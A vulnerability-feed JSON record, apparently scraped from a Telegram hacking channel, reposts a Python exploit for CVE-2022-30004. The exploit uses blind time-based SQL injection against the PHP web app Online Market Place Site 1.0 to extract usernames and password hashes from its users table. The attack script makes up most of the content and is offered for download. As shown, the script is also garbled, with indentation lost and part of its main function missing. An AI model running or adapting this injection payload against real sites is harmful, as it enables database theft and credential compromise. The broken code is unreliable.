{"uuid": "428e1c58-21f3-4b14-86ce-e8e2a9b744be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30004", "type": "seen", "source": "https://t.me/hacking_Attack/67997", "content": "Exploit Collector\nOnline Market Place Site 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nOnline Market Place Site version 1.0 suffers from an unauthenticated blind SQL injection vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.\n\nSHA-256 | 055275be279445d5466385d61a0e67c90bd2c9c88469b4e802f1402fe98446be\n\nDownload\n# Exploit Title: Online Market Place Site v1.0 - Unauthenticated Blind Time-Based SQL Injection\n# Exploit Author: Joe Pollock\n# Date: September 03, 2022\n# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip\n# Tested on: Kali Linux, Apache, Mysql\n# CVE: CVE-2022-30004 (RESERVED)\n# Vendor: oretnom23\n# Version: v1.0\n# Exploit Description:\n#   Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.\n#   This script will retrieve a single username and associciated password hash from the omps_db database via blind, time-based SQL injection.\n#   By default, the username & hash retrieved will have an ID equal to zero in the database, i.e. the first username and password hash.\n#   Default behavior can be changed by setting the USERID variable. Sleep timings may also have to be adjusted to account for network latency.\n#   Ex: python3 omps.py 10.14.14.2\nimport sys, requests, urllib3\nUSERID=0\n\ndef main():\nif len(sys.argv) != 2:\nprint(\"(+) usage: %s  2):\nextracted_char = chr(c)\nsys.stdout.write(extracted_char)\nsys.stdout.flush()\nsys.stdout.write(\"\\t\")\n\n# Get password hash\nfor p in range (1,65):\ninjection_string = \"AAAA' OR IF(ascii(MID((select password from omps_db.users LIMIT %d,1),%d,1))=[CHAR],sleep(1),0)-- -\" % (USERID,p)\nfor c in range(32, 126):\nfiles = {\"username\": (None, injection_string.replace(\"[CHAR]\", str(c)))}\n#print(injection_string.replace(\"[CHAR]\", str(c)))\nr = requests.post(target, files=files)\nif (r.elapsed.total_seconds() > 2):\nextracted_char = chr(c)\nsys.stdout.write(extracted_char)\nsys.stdout.flush()\nprint(\"\\n(+) done!\")\n\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:25.048753Z"}